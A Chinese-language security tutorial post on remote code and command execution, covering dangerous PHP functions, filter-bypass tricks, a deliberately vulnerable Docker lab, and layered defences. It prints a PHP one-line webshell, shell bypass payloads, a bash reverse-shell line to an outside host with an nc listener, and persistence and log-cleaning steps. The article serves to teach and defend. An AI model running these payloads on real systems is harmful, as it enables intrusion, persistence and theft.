RCE漏洞全解析:从远程代码执行原理到命令注入实战与防御
2026/9/12 18:24:08 网站建设 项目流程

最近带团队做攻防演练,好几个新人都在同一个地方犯了迷糊:明明已经拿到一个RCE漏洞,却不知道怎么往深处打;或者反过来,代码里留着明显的命令执行入口,自己却毫无察觉。RCE漏洞(远程代码执行/命令执行)这名字听起来高大上,本质上就是攻击者能借你的应用去执行一段代码或者一条系统命令。它常年霸占OWASP各类榜单的高危位置,不是没有道理的——一旦被利用,相当于你把服务器钥匙直接递到了别人手里。

这篇文章我会把RCE整个链路从头到尾捋一遍:原理、类型、实战利用、绕过手法、防御落地。不整虚的,尽量用我实际踩过的坑和见过的手法来说明问题。无论你是刚入门的安全新人,还是在写业务代码时想避开这些坑的开发,这都应该能对你有帮助。

1. RCE漏洞到底是什么:先搞懂核心定义与攻击面

1.1 远程代码执行与远程命令执行:一字之差,利用难度大不同

很多人把“代码执行”和“命令执行”混为一谈,其实它们有本质区别。远程代码执行(Remote Code Execute)通常指应用把用户输入直接当作代码来解释,典型的就是PHP的evalassert,Python的execeval,JavaScript的Function构造器。攻击者传入phpinfo()或者system('id'),应用就直接在当前语言环境里执行了这段代码。这个场景下攻击者能做的事情往往更多,因为可以直接调用语言提供的各种能力。

远程命令执行(Remote Command Execute)则指应用把用户输入拼接到系统命令里,调用systemexecshell_execpassthru等函数交给操作系统去执行。攻击者传入的不是PHP代码,而是lscat /etc/passwd这样的Linux命令。命令执行往往比代码执行的门槛更低,但危害同样直接,因为系统命令可以读写文件、反弹shell、下载恶意程序。

这两个概念在实际利用中经常叠加出现。代码执行到了后期,攻击者多半也会通过system等函数转成命令执行,方便操作服务器;而命令执行如果遇到严格限制,也可能借助phpinfo()这样的信息泄露函数来做进一步绕过。所以从防御角度看,“能执行代码”和“能执行命令”都不该被允许。

类型执行环境典型入口危险程度
远程代码执行(RCE-代码)语言解释器eval、assert、exec、动态变量可直接操控应用逻辑
远程命令执行(RCE-命令)操作系统Shellsystem、exec、shell_exec、passthru可直接操控服务器

1.2 最容易踩中RCE的五大场景

我在代码审计和渗透测试里见过太多RCE入口,总结下来高发区域其实相对集中:

第一类是文件上传与文件包含的组合。上传一张图片,文件名可控、内容可控,再配合本地文件包含(LFI)让PHP把图片当作PHP脚本解析,这就是一个很典型的RCE链路。很多CMS的旧版本都栽在这上面。

第二类是反序列化入口。Java、PHP、Python的反序列化一旦允许用户控制数据流,就可能触发__destruct__wakeupreadObject等魔法方法,最终形成RCE。这类漏洞找起来比命令执行隐藏,但危害极大。

第三类是模板注入(SSTI)。用户输入的模板内容如果能被服务端模板引擎解析,{{7*7}}被算成49,那基本就能确定存在模板注入。从表达式计算到调用底层对象,再到命令执行,整个过程非常顺滑。

第四类是表达式注入与动态求值。有些业务系统设计了公式计算、规则引擎、自定义脚本等功能,如果对这个“脚本”的输入没做限制,攻击者传入的就不只是公式,而是能调用系统命令的完整代码。

第五类是WebShell二次利用。攻击者先通过文件上传或其他漏洞放下一个WebShell,后续所有操作都通过这个WebShell完成。对防御者来说,WebShell本身也算是一个持续性的RCE入口。

拿个生活化的类比来说,RCE就像你家的智能门锁本来只允许输入密码开门,结果有人发现把一段特殊指令输进去,门锁不止会开门,还会帮你把客厅窗帘全拉开、把空调调到16度、顺便把家里WiFi密码发到一个陌生号码上。整个过程完全绕过了“只能开门”这个原始设定。

1.3 为什么业内把RCE标为“至高危”

漏洞这么多,为什么RCE能站上金字塔尖?核心原因是它的“变现路径”太短了。SQL注入再厉害,通常也只能拖库;XSS再花哨,大多限于浏览器端。但一个RCE拿到手,攻击者直接就坐在了服务器前面。

我参与过一次应急响应:某业务系统因为一个老旧的导入功能存在命令注入,攻击者上传了一个恶意压缩包,压缩包文件名里拼接了curl ... | sh,服务器瞬间被拉进挖矿团伙。从漏洞被利用到内网横向扩散,前后不到半小时。你说这个漏洞的CVSS评分该给多高?满分一点都不冤枉。

RCE还经常是攻击链的“起点”。攻击者在拿到命令执行后,可以做权限提升、创建后门账号、植入持久化任务、读取配置文件中的数据库密码,再横向打到其他系统。一个看似不起眼的命令执行点,最后演变成整个内网失守,这种情况在红队评估里太常见了。

2. 从原理到实战:代码执行漏洞的完整利用链

2.1 从eval到一句话木马:RCE是怎么一步步打进去的

很多人接触到的第一个RCE就是PHP的一句话木马。那段代码极简,但背后代表了RCE的完整链路:输入可控、进入危险函数、代码被解释执行。

<?php @eval($_POST['cmd']); ?>

攻击者向cmd参数提交phpinfo();,服务器就执行了phpinfo()函数;提交system('whoami');,服务器就执行了系统命令。这里的eval把字符串当成PHP代码解析,攻击者实际上获得了和服务器脚本同等的执行权限。

实际业务代码里不会写得这么直白,但等价写法满大街都是。比如有的系统会写一个模板解析类:

$template = file_get_contents($_GET['tpl']); eval("echo \"" . $template . "\";");

这就是典型的模板注入+代码执行。攻击者通过闭合双引号和花括号,很快就能注入完整的PHP代码。我在代码审计时看到过不少类似写法,都是开发为了“灵活”付出的代价。

利用链路一般分四步:第一步是找到可控输入点,也就是参数、请求头、上传文件名、Cookie等能被我们影响的地方;第二步是确认输入确实进入了危险函数;第三步是构造闭合和payload,让代码按攻击者意图执行;第四步是利用执行能力做后续操作,比如读文件、查配置、反弹Shell、写WebShell。

2.2 “能执行代码”不等于“拿下服务器”:权限提升与持久化

很多新手会把“弹出系统命令”当作终点,其实对攻击者来说这只是起点。真正决定危害大小的是后续能不能提权、能不能持久化。

拿到命令执行后,第一件事通常是看当前权限:idwhoamiuname -a。如果是www-data这种低权限账户,就要找本地提权路径,比如有SUID位的程序、内核漏洞、错误配置的sudo规则、可写的定时任务脚本等。渗透测试里还有一个很实用的点:检查环境变量和配置文件中是否有数据库密码、云厂商密钥。

持久化手法同样重要。攻击者可不会满足于一次性的命令执行。常见的持久化包括写SSH公钥到~/.ssh/authorized_keys、添加计划任务、写systemd服务、替换常用命令或启动脚本。还有一种容易被忽略的思路是,攻击者拿到RCE后可能用运维命令为后续做准备,比如上传挖矿程序前先检查磁盘空间,执行df -hlvextend扩容逻辑、xfs_growfsresize2fs调整文件系统之类。在应急响应时,如果看到这些运维命令出现在Web日志里,就要高度警惕了:这不是正常的运维操作,而是攻击者正在调整环境。理解这些系统层面的命令,能帮你在蛛丝马迹中还原攻击链。

2.3 无字母数字命令执行:CTF骚操作背后的真实意义

CTF圈子里有一个经典题型叫“无字母数字命令执行”,很多人觉得这就是脑洞题,没有什么实战价值。我的看法恰恰相反:这些“骚操作”暴露了bash、系统调用和过滤规则之间的深层逻辑,也能帮防御者理解为什么黑名单式过滤必然失败。

无字母数字命令执行的常见思路是利用Shell的通配符、重定向和特殊变量来“拼”出命令。比如Linux下?可以匹配任意单个字符,*可以匹配任意字符串,$()可以做命令替换。配合/bin/cat这种路径,可以在不出现字母和数字的情况下执行命令。

一个经典payload长这样:

/?/???/???/??????

把它交给Shell解析,?匹配任意一个字符,最终可能匹配到/bin/cat /etc/passwd$()还能配合十六进制或八进制编码,把一个命令的ASCII码转成转义序列再执行。还有利用$0$IFS这类特殊变量来分隔参数,绕过对空格和关键字的过滤。

为什么这些技巧能生效?本质上是因为Shell的语法特性太丰富了:同一个功能可以用引号、通配符、变量、反引号、管道、重定向等多种方式表达。你过滤了字母、数字、空格,攻击者还能用?*$()<这类符号来表达。这也是我一直强调的:在做RCE防御时,光靠过滤关键字符是走不通的,必须在架构层面杜绝用户输入进入解释器的可能性。

我把无字母数字命令执行归类为“对过滤规则的极限挑战”,它最大的价值不是让你在实战中生搬硬套某个payload,而是训练一种思维:只要执行环境是图灵完备的,输入和命令之间就存在无数种等价变换。

3. 命令执行漏洞专题:入口函数、绕过手法与边界场景

3.1 passthru、system、exec、shell_exec:命令执行函数怎么选

命令执行类的危险函数在不同语言里有一堆,很多刚接触代码审计的朋友看到函数列表就头大,其实抓住几个核心的就够了。以PHP为例:

函数输出方式返回值典型利用姿势
system()直接输出最后一行一句话直接看结果
exec()不输出最后一行需要配合echo输出
shell_exec()直接输出无返回值(或用echo shell_exec(...)管道命令方便
passthru()直接输出原始二进制无返回值执行二进制程序
popen()输出到管道文件指针需要读取管道内容
proc_open()全可控文件描述符可交互、更隐蔽

passthru这个函数在热搜里单独出现,确实值得多说一句。它和system很像,但它会把命令的原始输出直接透传给浏览器,不经过PHP的缓冲处理。在CTF里,passthru('cat /flag')经常是最省事的解法;在真实环境中,它常被用来执行一些需要原始二进制输出的程序,比如图片处理工具、二进制分析工具。攻击者拿到passthru入口后,可以很自然地执行catcurl这类命令,流量特征也不算明显。

其它语言里也有对应的危险入口。Python有os.systemos.popensubprocess.callsubprocess.Popen;Java有Runtime.getRuntime().exec()ProcessBuilder;Node.js有child_process.execchild_process.spawn。不管语言怎么变,逻辑都一样:如果外部输入能影响传给这些函数的字符串,命令注入就存在。

这里补充一个容易被忽视的“命令执行工具”视角。在真实攻击中,攻击者不会一条一条手动敲命令,而是会用各种自动化工具批量执行命令。这类工具的特点是能并行执行、批量处理、快速回显结果。比如在Shell脚本里用xargs -P做并行执行,用命令执行工具来统一调度多台机器。作为防守方,如果日志里出现大量来自同一来源的并行命令执行记录,就要考虑是不是有人在批量利用命令执行漏洞了。

just这类任务执行工具也值得一提。just本来是给开发者用的命令执行器,类似简化版的Makefile工具,可以把一组Linux命令串起来执行。在构建流程、CI/CD里用得很普遍。但如果应用允许用户影响这些任务定义,就成了一个隐藏的命令执行面。我在做供应链安全评估时,见过有人在CMake构建脚本里塞execute_process(COMMAND bash -c "..."),配置阶段就直接执行了系统命令。构建工具的执行能力被滥用,是非常典型的供应链攻击入口,也属于RCE的一种变体。

3.2 绕过手法与过滤规则:为什么黑名单终将失败

命令执行漏洞最常见的防御方式是黑名单过滤,比如把;|&catflag这些关键词都拦掉。问题是黑名单几乎不可能列全,而且Linux命令的表达方式实在太灵活了。

拿一个实际例子来说,假设目标是执行cat /etc/passwd,但代码过滤了cat和空格。攻击者可以这样绕:

c\at /etc/passwd

反斜杠在Shell里是转义符,c\at解析后还是cat,却绕过了字符串匹配。空格也可以用${IFS}替换,因为IFS是Shell默认的字段分隔符变量。再比如用变量拼接:

a=c;b=at;$a$b /etc/passwd

或者用通配符:

/bin/c?t /etc/passwd

更进阶的还有利用编码、$()命令替换、反引号、管道、换行符、%0a%00截断等手法。老版本PHP里空字节可以截断路径,现代环境里虽然大部分修复了,但思路一直流传了下来。

为什么黑名单必然失败?因为Shell本身就是一个高度灵活的解释器,任何“禁用某些字符”的策略都是在和整个Shell语法体系对抗。就好比你想在门禁系统里规定“禁止输入数字”,但访客绕个圈,从侧门进来一样——规则本身存在漏洞。所以防御端点不要放在“过滤”,而应该放在“不用解释器”。如果必须使用系统调用,也要采用参数化、白名单、强校验等手段。

3.3 边界案例:并行执行、进程分离与应用重启

这一节讲的几个案例都来自真实运维场景,看起来跟RCE关系不大,但恰恰是攻击者最容易利用的“隐藏面”。

第一个问题是:SSH命令执行过程中如果退出,命令还会继续执行吗?很多人的第一反应是“断开就没了”,其实不一定。前台的命令挂在与SSH会话关联的伪终端上,断开连接会收到SIGHUP信号,默认行为是终止。但如果命令是用nohup启动的、或者被setsid放入新会话、或者disown脱离了任务控制,它就会在断开后继续运行。攻击者拿到RCE后,经常需要“火种不灭”,比如下载一个恶意脚本后马上断开连接,让脚本在后台继续跑。这就是典型的进程分离利用。应急响应时,排查那些父进程是1(init)的异常进程,往往能找到这类痕迹。

第二个问题是并行执行命令。在Linux里,一行命令可以用&放入后台,用;顺序连接,用&&||按结果控制流程,也可以用xargs -P指定并行度。攻击者拿到命令执行后,为了快速批量操作,几乎一定会用到并行:同时下载并执行多个程序、同时扫描多个端口、同时向多台机器扩散。如果在流量侧看到短时间大量并发的命令执行特征,这就是一个很有价值的告警信号。

第三个问题是“通过远程执行重启命令”这类运维操作。在一些管理后台里,会提供“远程重启服务”“远程执行脚本”的功能,这类功能一旦被越权访问或参数可控,就成了RCE的绝佳入口。我在代码审计时见过一个案例:某系统的“节点管理”功能允许传一个IP和命令参数,后台直接用ssh user@ip 命令去执行,命令部分竟然完全可控。攻击者不需要找什么花哨的0day,直接调用这个接口就在所有节点上执行了命令。平时做好这类接口的鉴权和命令白名单,比事后打补丁重要得多。

4. 完整实战复现与工具链:从探测到反弹Shell

4.1 快速搭一个本地实验环境

RCE这个东西,光看不练是学不会的。我建议你用一个隔离的Docker环境来复现,既安全又方便清理。

在本地建一个存在命令执行漏洞的PHP应用,目录结构如下:

rce-lab/ ├─ docker-compose.yml └─ src/ └─ index.php

index.php先写一个最明显的命令执行入口:

<?php if (isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

docker-compose.yml就简单起一个包含Apache和PHP的镜像:

services: web: image: php:7.4-apache ports: - "8080:80" volumes: - ./src:/var/www/html

访问http://127.0.0.1:8080/?cmd=whoami,能看到Web服务运行账户名,说明命令执行生效了。在这个基础上,你可以自己加过滤规则、加白名单,逐一测试各种绕过手法。再说一遍,这种实验只建议在本地靶场或者有明确授权的环境里做,不要拿别人线上的系统练手。

4.2 一次完整的RCE利用流程

拿到一个疑似命令执行点之后,完整流程大概是这样的:

第一步是探测和确认。传入/bin/id;id,观察响应有没有用户信息。如果应用对输出有过滤,可以用ping这种有时间差异的方式做盲注判断,比如; sleep 5,如果页面明显变慢,说明命令确实被执行了。

第二步是信息收集。执行uname -a看系统版本、cat /etc/os-release看发行版、env看环境变量、ls -la /看目录结构。收集的每一份信息都可能影响后续利用方式。比如有数据库配置文件,就读取配置文件拿凭证;有云元数据服务,就可能尝试获取临时密钥。

第三步是构造利用。如果想直接拿交互Shell,常见手法是反弹Shell。所谓反弹Shell,就是从目标机器主动连接攻击者的监听端口,把Shell输入输出转发过来。比较经典的bash姿势是:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

/dev/tcp是Linux Bash提供的一个特殊设备,操作它就像操作一个TCP连接。攻击者在自己的机器上先nc -lvnp 4444监听,目标上执行这行命令后,攻击者就拿到了一个交互式Shell。Python、nc、socat、Perl也都有对应的反弹方式。

第四步是提权与持久化。拿到初始权限后,尝试上面说过的提权手段。成功后写入SSH公钥、添加计划任务等内容,确保持久化。

第五步是清理痕迹。删除历史命令、清理日志中明显的payload记录、恢复被修改的配置。作为红队,做这些是模拟真实攻击者的操作;作为防守方,理解这些步骤才能在日志里知道该找什么。

4.3 反弹Shell的流量特征与自动化工具

很多人只学了反弹Shell的打法,却没学过怎么识别它。从防守角度看,反弹Shell有几个非常明显的特征:外联方向是“从服务器到客户端”,和目标业务通常访问的外部服务不匹配;目的端口往往是常见的4444、6666、7777,或者利用80、443这类常规端口进行伪装;连接持续时间长,且流量里包含明显的人类交互命令特征,而不是普通的HTTP请求。

在红队工具链里,各种“命令执行工具”已经把RCE利用流程化、自动化了。有的工具可以一键执行批量命令、上传下载文件、内网代理。这也给防守方提了个醒:不要假设攻击者只会手工一条条敲命令,他们可能在极短时间内完成从命令执行到内网横移的全过程。日志若能关联到命令执行点的调用来源、参数内容、执行结果,对这些自动化的抵抗能力会强很多。

我在实际攻防中还有一个体会:工具越高级,流量特征往往越好识别。过度自动化的工具经常会在User-Agent、命令格式、请求频率上暴露出规律。防守方如果能针对RCE入口做“命令参数审计”,把这些特征纳入检测模型,效果比单纯依赖WAF规则好得多。

5. 防御体系怎么建:从代码层到运行时的全面封堵

5.1 输入校验与危险函数禁用:治标与治本

很多开发对RCE防御的理解停留在“加一个过滤函数”,比如把所有传入的参数里的;|&都替换掉。我在前文已经解释过,这种思路迟早会被绕过。那是不是说完全不能过滤?当然不是,但要知道过滤在防御体系里的定位:它是“降低风险”的手段,不是“根治漏洞”的方案。

正确的做法,首先是尽量避免将用户输入拼接到代码执行或系统命令中。业务上要思考:这个需求真的需要让用户输入一段命令吗?大部分情况下是不需要的。如果一定要执行某个固定操作,就用白名单方式,只允许传入枚举值,比如action=restart由服务端映射为systemctl restart myservice,用户传什么值都不直接进入命令字符串。

对于确实无法避免代码执行或命令执行的场景(比如在线判题系统、在线编辑器、沙箱环境),核心原则是隔离。把执行环境放进最小权限容器,限制CPU、内存、网络、文件系统访问。而且一定要禁止容器以root身份运行,给它挂载只读根文件系统,必要时去掉所有不需要的Linux Capabilities。

PHP还有一些经典的加固配置可以降低风险:disable_functionssystemexecshell_execpassthruproc_openpopen等危险函数禁掉;open_basedir限制PHP可访问的目录范围;display_errors关闭错误回显,防止信息泄露。这些措施不能防御所有RCE,但能显著拉高利用门槛。

5.2 纵深防御:最小权限、沙箱、RASP与审计日志

安全圈的共识是“没有银弹”,RCE防御同样要靠纵深。代码层的输入校验是第一层,运行时的沙箱隔离是第二层,Web应用防火墙(WAF)和运行时自保护(RASP)是第三层,日志审计是第四层。

WAF可以拦截已知特征的攻击Payload,比如典型的/bin/shcurlwget、反弹Shell命令片段。但WAF的局限性也很明显,遇到编码绕过、通配符变形、变量拼接时可能漏报。RASP把检测能力做到了应用内部,它能看到实际传给systemexec的真实参数,而不是只看HTTP报文的原始内容,这对命令注入的检测效果比WAF好很多。

沙箱化部署属于“即使被RCE,也炸不开”的兜底方案。比如Java应用跑在最小化JRE容器里,进程以非root用户在只读文件系统下运行,网络出口只在必要时开放。这样一来,攻击者即使拼出了一条命令,寸步难行。

供应链层面的命令执行面也值得关注。之前提到CMake这类构建工具可以在配置阶段执行bash命令,这就是一个典型的“开发者自己挖的RCE”。软件供应链攻击经常利用编译脚本、安装脚本、Hook脚本来投毒。企业做安全建设时,不能只盯着运行时应用,CI/CD流水线里的命令执行同样要有审计与管控。

5.3 一条可落地的防御Checklist

我把这些年做代码审计和应急响应沉淀下来的防御要点整理成一份清单,可以直接拿去用:

层面检查项目标
代码层是否存在eval、system、exec、Runtime.exec等危险函数排查RCE入口
代码层用户输入是否经过白名单校验或参数化绑定防止直接拼接
框架层是否开启disable_functions、open_basedir、Seccomp提高利用门槛
运行时应用进程是否以非root最小权限运行限制提权后果
运行时是否部署了WAF/RASP并覆盖命令执行检测实时阻断攻击
供应链构建脚本、CI配置是否允许外部控制命令参数防投毒与供应链攻击
审计是否存在命令执行点全量日志(调用者、参数、结果)支撑溯源和检测
应急是否熟悉lvextend、定时任务、SSH key等运维命令的异常使用快速识别攻击意图

这份清单不是给你做一次性检查用的,应该嵌入到日常的代码评审、发布流程和定期演练里。代码评审时,凡是出现命令执行类函数,就必须有产品经理确认业务必要性、有安全确认输入控制方式,两条缺一不可。

写在最后的一些体会

这些年排查过不少RCE漏洞,说句实话,绝大多数都是低水平重复:用户输入进危险函数、黑名单过滤不完整、权限给得太大。真正高深的0day利用在真实企业环境里反而不常见。这也意味着,只要把代码评审、运行时隔离、日志审计这几点做到位,能挡住绝大部分攻击。

我个人在实际操作中最受益的一个习惯是:每当发现一个RCE入口,不要急着修完就完事,而是尝试把它当成攻击者,顺着思路往下推演几步。如果我是攻击者,拿到这个命令执行点之后,我会怎么提权、怎么横移、怎么持久化?这样推演完,你自然就知道下一步该加固哪里了。毕竟,RCE漏洞的分水岭从来不在于会不会写Payload,而在于你对整个系统边界的掌控程度。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询